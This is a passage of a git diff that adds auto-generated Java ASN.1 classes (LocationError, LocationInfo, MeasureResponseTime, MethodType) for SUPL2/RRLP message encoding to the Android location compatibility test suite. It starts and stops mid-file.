+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "LocErrorReason = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationError.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationError.java
new file mode 100755
index 0000000..3b6cf7a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationError.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class LocationError extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_LocationError
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public LocationError() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_LocationError;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_LocationError != null) {
+ return ImmutableList.of(TAG_LocationError);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new LocationError from encoded stream.
+ */
+ public static LocationError fromPerUnaligned(byte[] encodedBytes) {
+ LocationError result = new LocationError();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new LocationError from encoded stream.
+ */
+ public static LocationError fromPerAligned(byte[] encodedBytes) {
+ LocationError result = new LocationError();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private LocErrorReason locErrorReason_;
+ public LocErrorReason getLocErrorReason() {
+ return locErrorReason_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocErrorReason
+ */
+ public void setLocErrorReason(Asn1Object value) {
+ this.locErrorReason_ = (LocErrorReason) value;
+ }
+ public LocErrorReason setLocErrorReasonToNewInstance() {
+ locErrorReason_ = new LocErrorReason();
+ return locErrorReason_;
+ }
+
+ private AdditionalAssistanceData additionalAssistanceData_;
+ public AdditionalAssistanceData getAdditionalAssistanceData() {
+ return additionalAssistanceData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AdditionalAssistanceData
+ */
+ public void setAdditionalAssistanceData(Asn1Object value) {
+ this.additionalAssistanceData_ = (AdditionalAssistanceData) value;
+ }
+ public AdditionalAssistanceData setAdditionalAssistanceDataToNewInstance() {
+ additionalAssistanceData_ = new AdditionalAssistanceData();
+ return additionalAssistanceData_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocErrorReason() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocErrorReason();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocErrorReasonToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocErrorReason.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locErrorReason : "
+ + getLocErrorReason().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAdditionalAssistanceData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAdditionalAssistanceData();
+ }
+
+ @Override public void setToNewInstance() {
+ setAdditionalAssistanceDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AdditionalAssistanceData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "additionalAssistanceData : "
+ + getAdditionalAssistanceData().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("LocationError = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationInfo.java
new file mode 100755
index 0000000..463897c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationInfo.java
@@ -0,0 +1,568 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_lcs_datatypes.Ext_GeographicalInformation;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class LocationInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_LocationInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public LocationInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_LocationInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_LocationInfo != null) {
+ return ImmutableList.of(TAG_LocationInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new LocationInfo from encoded stream.
+ */
+ public static LocationInfo fromPerUnaligned(byte[] encodedBytes) {
+ LocationInfo result = new LocationInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new LocationInfo from encoded stream.
+ */
+ public static LocationInfo fromPerAligned(byte[] encodedBytes) {
+ LocationInfo result = new LocationInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private LocationInfo.refFrameType refFrame_;
+ public LocationInfo.refFrameType getRefFrame() {
+ return refFrame_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationInfo.refFrameType
+ */
+ public void setRefFrame(Asn1Object value) {
+ this.refFrame_ = (LocationInfo.refFrameType) value;
+ }
+ public LocationInfo.refFrameType setRefFrameToNewInstance() {
+ refFrame_ = new LocationInfo.refFrameType();
+ return refFrame_;
+ }
+
+ private LocationInfo.gpsTOWType gpsTOW_;
+ public LocationInfo.gpsTOWType getGpsTOW() {
+ return gpsTOW_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationInfo.gpsTOWType
+ */
+ public void setGpsTOW(Asn1Object value) {
+ this.gpsTOW_ = (LocationInfo.gpsTOWType) value;
+ }
+ public LocationInfo.gpsTOWType setGpsTOWToNewInstance() {
+ gpsTOW_ = new LocationInfo.gpsTOWType();
+ return gpsTOW_;
+ }
+
+ private FixType fixType_;
+ public FixType getFixType() {
+ return fixType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FixType
+ */
+ public void setFixType(Asn1Object value) {
+ this.fixType_ = (FixType) value;
+ }
+ public FixType setFixTypeToNewInstance() {
+ fixType_ = new FixType();
+ return fixType_;
+ }
+
+ private Ext_GeographicalInformation posEstimate_;
+ public Ext_GeographicalInformation getPosEstimate() {
+ return posEstimate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ext_GeographicalInformation
+ */
+ public void setPosEstimate(Asn1Object value) {
+ this.posEstimate_ = (Ext_GeographicalInformation) value;
+ }
+ public Ext_GeographicalInformation setPosEstimateToNewInstance() {
+ posEstimate_ = new Ext_GeographicalInformation();
+ return posEstimate_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefFrame() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefFrame();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefFrameToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationInfo.refFrameType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refFrame : "
+ + getRefFrame().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsTOW() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsTOW();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsTOWToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationInfo.gpsTOWType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTOW : "
+ + getGpsTOW().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getFixType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFixType();
+ }
+
+ @Override public void setToNewInstance() {
+ setFixTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FixType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "fixType : "
+ + getFixType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosEstimate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosEstimate();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosEstimateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ext_GeographicalInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posEstimate : "
+ + getPosEstimate().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refFrameType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refFrameType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refFrameType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refFrameType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refFrameType != null) {
+ return ImmutableList.of(TAG_refFrameType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refFrameType from encoded stream.
+ */
+ public static refFrameType fromPerUnaligned(byte[] encodedBytes) {
+ refFrameType result = new refFrameType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refFrameType from encoded stream.
+ */
+ public static refFrameType fromPerAligned(byte[] encodedBytes) {
+ refFrameType result = new refFrameType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refFrameType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsTOWType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gpsTOWType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsTOWType() {
+ super();
+ setValueRange("0", "14399999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsTOWType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsTOWType != null) {
+ return ImmutableList.of(TAG_gpsTOWType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsTOWType from encoded stream.
+ */
+ public static gpsTOWType fromPerUnaligned(byte[] encodedBytes) {
+ gpsTOWType result = new gpsTOWType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsTOWType from encoded stream.
+ */
+ public static gpsTOWType fromPerAligned(byte[] encodedBytes) {
+ gpsTOWType result = new gpsTOWType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsTOWType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("LocationInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MeasureResponseTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MeasureResponseTime.java
new file mode 100755
index 0000000..b9bf401
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MeasureResponseTime.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MeasureResponseTime extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_MeasureResponseTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MeasureResponseTime() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MeasureResponseTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MeasureResponseTime != null) {
+ return ImmutableList.of(TAG_MeasureResponseTime);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MeasureResponseTime from encoded stream.
+ */
+ public static MeasureResponseTime fromPerUnaligned(byte[] encodedBytes) {
+ MeasureResponseTime result = new MeasureResponseTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MeasureResponseTime from encoded stream.
+ */
+ public static MeasureResponseTime fromPerAligned(byte[] encodedBytes) {
+ MeasureResponseTime result = new MeasureResponseTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "MeasureResponseTime = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MethodType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MethodType.java
new file mode 100755
index 0000000..94e2482
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MethodType.java
@@ -0,0 +1,452 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MethodType extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_MethodType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "MethodType: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public MethodType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MethodType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MethodType != null) {
+ return ImmutableList.of(TAG_MethodType);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new MethodType from encoded stream.
+ */
+ public static MethodType fromPerUnaligned(byte[] encodedBytes) {
+ MethodType result = new MethodType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MethodType from encoded stream.
+ */
+ public static MethodType fromPerAligned(byte[] encodedBytes) {
+ MethodType result = new MethodType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $MsAssisted(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new AccuracyOpt();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AccuracyOpt.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsBased(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Accuracy();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Accuracy.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsBasedPref(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Accuracy();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Accuracy.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsAssistedPref(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Accuracy();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Accuracy.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isMsAssisted() {
+ return !hasExtensionValue() && Select.$MsAssisted == selection;
+ }
+
+ /**
